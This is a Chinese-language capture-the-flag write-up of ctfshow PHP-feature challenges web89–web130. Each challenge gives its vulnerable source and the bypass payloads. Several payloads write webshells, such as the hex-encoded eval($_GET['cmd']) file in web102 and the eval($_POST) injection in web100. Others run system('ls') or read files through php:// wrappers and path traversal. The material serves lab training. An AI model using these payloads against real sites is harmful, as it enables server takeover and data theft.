web89
看代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
我们直接用空数组绕过就行
web90
看代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这里我们看到源码中这个num既不能等于4476,又要等于4476,怎么办呢
我们发现第一个4476是用“”括起来的,是将num作为字符串来比较,所以我们进行进制转换就行
payload
?num=0x117C
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
正则表达式 /^php$/im
在 PHP 中的含义如下:
-
/^php$/
: 这部分是正则表达式的主体部分。^
表示匹配字符串的开头。php
是要匹配的确切字符串,大小写敏感。$
表示匹配字符串的结尾。
-
im
是修饰符,具体含义如下:i
:表示不区分大小写。因此,php
可以以任何大小写形式出现。m
:表示多行模式。在这种模式下,^
和$
不仅匹配字符串的开始和结尾,还匹配每一行的开始和结尾。
所以这里我们必须要有php才能进入第一个判断,而第一行不能有php才能进入第二个判断的else
payload
?cmd=%0aphp
web 92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这题看起来不能绕过,我们详细看一下intval()函数,
如果是0x开头的会默认为16进制,如果是0开头的默认为8进制,没有2进制因为可能会和8进制冲突
所以
payload
?num=0x117c //16进制
?num=010574 //8进制
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这里把a-z正则过滤掉了,所以16进制不能用了
?num=010574
web 93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这题还一定要加上0
上一题的直接payload秒
还可以
?num=4476.0
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这题把点过滤了,必须有0
payload
?num=+010574
?num= 010574
因为intval对于+以及空格开头的会处理(怎么处理不知道了)
web96
这题开始字符串的弱类型
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
我们给文件加一个路径就可以了
payload
?u=/var/www/html/flag.php
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
这题需要ab的MD5相同。我们可以尝试md5对数组返回相同的值
payload
a[]=1&b[]=2
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
这里的逻辑很绕可以放进chatgpt里分析一下
payload:
POST /?a=1 HTTP/1.1
Host: 186f9538-b339-4ad5-ab55-974b54479916.challenge.ctf.show
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie: flag=flag
FLAG: flag
Content-Length: 9
flag=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
这题考察in_array的特性
array_push——往数组尾部插入元素
rand(1,$i)——随机生成1-877之间的数
//所以array_push($allow, rand(1,$i))就是往数组中插入1-877之间的数字
in_array——搜索数组中是否存在指定的值:
in_array(search,array,type)
search为指定搜索的值
array为指定检索的数组
type为TRUE则 函数还会检查 search的类型是否和 array中的相同
综上,该题中没有指定type,我们的查询内容可以是一个字符串,但给你转换为int形,所以我们可以选择一个几率大的数字1-36都可以
这里选择1.php,把一句话木马写进去,然后蚁剑连接
web100
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
这里的v1要为数字,v2为函数体,v3必须要有一个分号。
payload
?v1=1&v2=evaL($_POST[1])?>%23&V3= //直接闭合
?v1=1&v2=print_r($ctfshow)/*&v3=*/; //直接注释掉
web101
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
和web100相同,但过滤了特殊符号,不能白嫖
payload
?v1=1&v2=echo new Reflectionclass&v3=;
只有35位,直接爆破
web102
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
这题很明显,需要一句话木马转换为数字写进v2,v1来解码,v3是文件名
payload
?v2=0x3c3f706870206576616c28245f4745545b22636d64225d293b3f3e&v3=/var/www/html/1.php
v1=hex2bin
web103
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
这里把各种形式的phpguolv了,用提示给的payload
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
web 104
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
这里我们提交一样的值就行了
v2=1
v1=1
web105
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
这里是先get再post,get中不能有error,post里不能有flag
那就在get里面放上suces以及flag,post里面放上suces以及error
最后达成用flag替换error
payload
GET:URL/?suces=flag POST:error=suces
web106
104的翻版,两个不能相等,我们用数组解决(感觉在哪里做过)
payload
GET:?v2[]=1
POST:v1[]=2
web107
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str的作用将字符串转换为数组
我们可以把v3变成一个数组,这MD5变成null,我们给v1不传参就是null
payload
GET:?v3[]=1
POST:v1=
web108
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
ereg是一个正则表达式,strrer对字符串进行翻转
我们要通过第一个判断,就得以全为字母,这里我们引入截断符号%00,这在c语言里面也有
%00一般用于数组的结尾,表示结束
payload
?c=a%00778
web109
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
正常情况下类不能直接用echo输出,除非类中有__toString(把类当作字符串使用时触发),而且构造方法和返回结果一样
payload
?v1=class{ public function __construct(){ system('ls'); } };&v2=a
web110
和109相同,但过滤了很多特殊符号
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
类FilesystemIterator
可以用来遍历目录,需要一个路径参数
函数getcwd
可以返回当前工作路径且不需要参数,由此可以构造
payload
/?v1=FilesystemIterator&v2=getcwd
web111
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
这里我们v1用ctfshow就行了,而我们要把flag变量放进v2里,但flag变量在这个方法里面不能被引用。
payload
?v1=ctfshow&v2=GLOBALS
这里的GLOBALS就是系统定义的超全局变量,自然包含flag
web112
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file函数可以使用包装器伪协议绕过
不影响file_get_contants highlight_file来读取文件
payload
?file=pho://filte/resource=flag.php
web 113
这题加入了过滤器,上一题的方法用不了
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
可以使用zip协议
?file=compress.zlib://flag.php
提示里面还可以用文件溢出。
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!
这题把filter放出来了
payload
?file=php://filter/resource=flag.php
web115
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
对于is_numeric的绕过,可以在数字前面加空格或者换行
同时把第二个判断过了,这次的比较是作为字符串来比较
trim的作用如下,我们可以用%0c代替空格
然后我们发现,num=%0c也满足第四个判断,就出现了
$num!=='36' and $num=='36'
这里的!==作比较时,其实不和==同一级别,而是和===,而这一级别在比较的时候不进行类型转换,而==比较时需要进行类型转换,把双方都转换为值
payload
?num=%0c36
web123
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
这道题中对c进行限制,但没有限制空格以及$,所以c=echo $flag可以运行
要通过判断,CTF_SHOW和CTF_SHOW.COM必须存在,$fl0g不存在
但在php中,变量名里面只能有数字、字母以及下划线,若输入空格、加号会被转换为_,按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
POST : CTF_SHOW=&CTF[SHOW.COM=1&fun= echo $flag
web125
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
我们用POST进行覆盖通过判断就行
payload
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
web126
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
这里参考ctfshow-web入门-php特性(web123、web125、web126)_ctfshow web126-CSDN博客
web127
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
这题是变量覆盖,前面讲过,我们用空格代替下划线
payload
?ctf show=ilove36d
web128
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
这里v1不能用数字已经字母,这能用特殊字符
我们的gettext有一个别名就是特殊符号下划线,前提是有一个扩展
-
调用
call_user_func($f1, $f2)
:- 首先,
call_user_func($f1, $f2)
动态调用f1
指定的函数,并将f2
作为参数传递给该函数。
- 首先,
-
再次调用
call_user_func
:call_user_func
的结果(即f1
函数的返回值)被再次传递给call_user_func
,试图将该返回值作为函数进行调用,并不传递参数。
payload
?f1=_&f2=get_defined_vars
web129
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
这里考察stripos函数
我们构造多重目录
payload
?f=../ctfshow/../../www/html/flag.php
web130
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
f=ctfshow为什么两个都能匹配呢,这里第一个判断preg_match('/.+?ctfshow/is', $f)我们的匹配对象必须有一个特殊字符,第二个对类型相同。这里有一个是int形
payload
POST:f=ctfshow